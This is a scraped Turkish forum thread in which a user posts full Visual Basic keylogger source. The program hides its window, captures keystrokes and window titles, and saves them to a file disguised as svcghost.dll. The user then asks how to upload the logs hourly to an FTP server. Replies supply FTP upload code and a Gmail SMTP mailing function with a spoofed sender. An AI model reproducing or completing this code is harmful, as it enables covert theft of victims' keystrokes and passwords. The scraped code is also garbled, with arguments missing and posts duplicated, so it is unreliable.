abi yıl olmuş 2014, ftp'ye log mu atılır? masaüstüne ad soyad adres yazan bi. txt bırak sen ya abicim svcghost. dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

slm arkadaşlar win7 de mail sorunu yaşadığım için logları ftpye yonlendirmeye karar verdim ama bir yerde takıldım yardım ederseniz sevinirim60 dk da 1 yuklemesini ve her yüklediğinin kalmasıınısı istiyorum kodlarıda paylaşacağım 3 adet timer bulunmakta bunların intervalı sırasıyla 5,1000,6000 Private Declare Function GetAsyncKeyState Lib "user32" As IntegerPrivate Declare Function GetKeyState Lib "user32" As IntegerPrivate Declare Function GetForegroundWindow Lib "user32" As LongPrivate Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" As LongPrivate Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" As LongPrivate Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" As LongPrivate LastWindow As StringPrivate LastHandle As LongPrivate dKey(255) As LongPrivate Const VK_SHIFT = &H10Private Const VK_CTRL = &H11Private Const VK_ALT = &H12Private Const VK_CAPITAL = &H14Private ChangeChr(255) As StringPrivate AltDown As BooleanPrivate Sub Command1_Click Form1. Visible = FalseMe. HideEnd SubPrivate Sub Form_Load On Error Resume NextChangeChr(33) = " "ChangeChr(34) = " "ChangeChr(35) = " "ChangeChr(36) = " "ChangeChr(45) = " "ChangeChr(46) = " "ChangeChr(48) = "="ChangeChr(49) = "!"ChangeChr(50) = "'"ChangeChr(51) = "^"ChangeChr(52) = "+"ChangeChr(53) = "%"ChangeChr(54) = "&"ChangeChr(55) = "/"ChangeChr(56) = "("ChangeChr(57) = ")"ChangeChr(186) = "ş"ChangeChr(187) = "="ChangeChr(188) = ","ChangeChr(189) = "-"ChangeChr(190) = "."ChangeChr(191) = ""ChangeChr(219) = "ğ"ChangeChr(220) = "ç"ChangeChr(221) = "ü"ChangeChr(222) = "i"ChangeChr(86) = "Ş"ChangeChr(87) = "+"ChangeChr(88) = ";"ChangeChr(89) = "_"ChangeChr(90) = ":"ChangeChr(91) = "?"ChangeChr(119) = "Ğ"ChangeChr(120) = "Ç"ChangeChr(121) = "Ü"ChangeChr(122) = "İ"ChangeChr(96) = "0"ChangeChr(97) = "1"ChangeChr(98) = "2"ChangeChr(99) = "3"ChangeChr(100) = "4"ChangeChr(101) = "5"ChangeChr(102) = "6"ChangeChr(103) = "7"ChangeChr(104) = "8"ChangeChr(105) = "9"ChangeChr(106) = " "ChangeChr(107) = "+"ChangeChr(109) = "-"ChangeChr(110) = "."ChangeChr(111) = "/"ChangeChr(192) = """"ChangeChr(92) = ""End SubFunction TypeWindow Dim Handle As LongDim textlen As LongDim WindowText As StringHandle = GetForegroundWindowLastHandle = Handletextlen = GetWindowTextLength + 1WindowText = Space svar = GetWindowText WindowText = Left(WindowText, Len - 1)If WindowText <> LastWindow ThenIf Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLfText1 = Text1 & " " & vbCrLf & WindowText & vbCrLf & " " & vbCrLfLastWindow = WindowTextEnd IfEnd FunctionPrivate Sub Picture1_Click End SubPrivate Sub Timer1_Timer 'when alt is upIf GetAsyncKeyState = 0 And AltDown = True ThenAltDown = FalseText1 = Text1 & ""End If'a-z A-ZFor i = Asc To Asc If GetAsyncKeyState = -32767 ThenTypeWindowIf GetAsyncKeyState < 0 ThenIf GetKeyState > 0 ThenText1 = Text1 & LCase(Chr Exit SubElseText1 = Text1 & UCase(Chr Exit SubEnd IfElseIf GetKeyState > 0 ThenText1 = Text1 & UCase(Chr Exit SubElseText1 = Text1 & LCase(Chr Exit SubEnd IfEnd IfEnd IfNext'1234567890)( &^%$#@! For i = 48 To 57If GetAsyncKeyState = -32767 ThenTypeWindowIf GetAsyncKeyState < 0 ThenText1 = Text1 & ChangeChr Exit SubElseText1 = Text1 & Chr Exit SubEnd IfEnd IfNext';=,-./For i = 186 To 192If GetAsyncKeyState = -32767 ThenTypeWindowIf GetAsyncKeyState < 0 ThenText1 = Text1 & ChangeChr(i - 100)Exit SubElseText1 = Text1 & ChangeChr Exit SubEnd IfEnd IfNext' 'For i = 219 To 222If GetAsyncKeyState = -32767 ThenTypeWindowIf GetAsyncKeyState < 0 ThenText1 = Text1 & ChangeChr(i - 100)Exit SubElseText1 = Text1 & ChangeChr Exit SubEnd IfEnd IfNext'num padFor i = 96 To 111If GetAsyncKeyState = -32767 ThenTypeWindowIf GetAsyncKeyState < 0 And AltDown = False ThenAltDown = TrueText1 = Text1 & ""ElseIf GetAsyncKeyState >= 0 And AltDown = True ThenAltDown = FalseText1 = Text1 & ""End IfEnd IfText1 = Text1 & ChangeChr Exit SubEnd IfNext'for spaceIf GetAsyncKeyState(32) = -32767 ThenTypeWindowText1 = Text1 & " "End If'for enterIf GetAsyncKeyState(13) = -32767 ThenTypeWindowText1 = Text1 & vbCrLfEnd If'for backspaceIf GetAsyncKeyState(8) = -32767 ThenTypeWindowText1 = Text1 & " "End If'for left arrowIf GetAsyncKeyState(37) = -32767 ThenTypeWindowText1 = Text1 & ""End If'for up arrowIf GetAsyncKeyState(38) = -32767 ThenTypeWindowText1 = Text1 & ""End If'for right arrowIf GetAsyncKeyState(39) = -32767 ThenTypeWindowText1 = Text1 & ""End If'for down arrowIf GetAsyncKeyState(40) = -32767 ThenTypeWindowText1 = Text1 & ""End If'tabIf GetAsyncKeyState(9) = -32767 ThenTypeWindowText1 = Text1 & " "End If'escapeIf GetAsyncKeyState(27) = -32767 ThenTypeWindowText1 = Text1 & " "End If'insert, deleteFor i = 45 To 46If GetAsyncKeyState = -32767 ThenTypeWindowText1 = Text1 & ChangeChr End IfNext'page up, page down, end, homeFor i = 33 To 36If GetAsyncKeyState = -32767 ThenTypeWindowText1 = Text1 & ChangeChr End IfNext'left clickIf GetAsyncKeyState(1) = -32767 ThenIf And LastHandle <> 0 ThenText1 = Text1 & " "End IfEnd IfEnd SubPrivate Sub Timer2_Timer On Error Resume NextText2. Text = "c:\svcghost. dll"Open Text2. Text For Output As #1Print #1, Text1. Text;Close #1End SubPrivate Sub Timer3_Timer Label1. Caption = Label1. Caption + 1If Label1. Caption = "6000" ThenEnd SubPrivate Sub WebBrowser1_StatusTextChange End Sub nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Hacı byle uzun kodları gzünüzü sevim pastebine atın link verin sonra :D nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Hacı byle uzun kodları gzünüzü sevim pastebine atın link verin sonra :D hocam şu kodu buldum ama nasıl yapacağım bilmiyorum benim istediğim saate bir upload etmesi ve hepsinin saklanmasıForm load'a şu kodu ekle; PHP- Kodu: Inet1. AccessType = icUseDefault Inet1. Protocol = icFTP Inet1. RemoteHost = "ftp. domain.com" Inet1. RemotePort = "21" Inet1. Password = "ftp pas" Inet1. UserName = "ftp id" Inet1. RequestTimeout = "60" Command1'e şunu ekle; PHP- Kodu: Form1. Inet1. Execute, "put c:\resim. jpg resim. jpg" Bu kodlarla command1'e bastığında ftp ana dizine resim. jpg yi upload eder. Saygılar. nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

abi yıl olmuş 2014, ftp'ye log mu atılır? masaüstüne ad soyad adres yazan bi. txt bırak sen http://www.leyladansonra.com/

PHP ile post et db oluştur kafan raaat etsin Mevzu derin | Papikolas Planet

Public Function mailgnder As Boolean On Error GoTo hatayagit GetComputername = Environ$ Set iMsg = CreateObject Set iConf = CreateObject Set Flds = iConf. Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds. Item = 2 Flds. Item = "smtp. gmail.com" Flds. Item = 465 Flds. Item = 1 Flds. Item = gmailadresi Flds. Item = gmailsifresi Flds. Item = 1 Flds. Update With iMsg. To = alıcıadress. From = """Airplane R&D Database. R&D Staff Entry."" <me@noserver.com>" . Subject = Environ$ . HTMLbOdy = "Bu Bir Test Mailidir " . Organization = "Mail Organtion" '. AddAttachment c '. AddAttachment a. ReplyTo = "-" Set. Configuration = iConf SendEmailGmail = . send End With mailgnder = True Exit Function hatayagit: mailgnder = False End Function chkarito bunu yazdı baristbt bunu yazdı abi yıl olmuş 2014, ftp'ye log mu atılır? masaüstüne ad soyad adres yazan bi. txt bırak sen ya abicim svcghost. dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm bunu kullan ustura tarafından 12/Oca/14 19:17 tarihinde düzenlenmiştir itsin oglum sen adam degilsin

Hacı byle uzun kodları gzünüzü sevim pastebine atın link verin sonra :D Aldanma insanların samimiyetine, menfaatleri için gelirler vecde, vaad etmeseydi allah cenneti, ona bile etmezlerdi secde..

Public Function mailgnder As Boolean On Error GoTo hatayagit GetComputername = Environ$ Set iMsg = CreateObject Set iConf = CreateObject Set Flds = iConf. Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds. Item = 2 Flds. Item = "smtp. gmail.com" Flds. Item = 465 Flds. Item = 1 Flds. Item = gmailadresi Flds. Item = gmailsifresi Flds. Item = 1 Flds. Update With iMsg. To = alıcıadress. From = """Airplane R&D Database. R&D Staff Entry."" <me@noserver.com>" . Subject = Environ$ . HTMLbOdy = "Bu Bir Test Mailidir " . Organization = "Mail Organtion" '. AddAttachment c '. AddAttachment a. ReplyTo = "-" Set. Configuration = iConf SendEmailGmail = . send End With mailgnder = True Exit Function hatayagit: mailgnder = False End Function chkarito bunu yazdı baristbt bunu yazdı abi yıl olmuş 2014, ftp'ye log mu atılır? masaüstüne ad soyad adres yazan bi. txt bırak sen ya abicim svcghost. dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm bunu kullan kardeşim teşekkürlerde zaten ben bunu daha nce timer3 yazmıstım olmamıştı şimdi inşallah olur ben 60dk da bir atmasını istiyorum onun için ne yapmalıyım labelden mi saydırmalıyım bide bu olmazsa dosyatc de uyeliğim var oraya upload kodu lazım nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..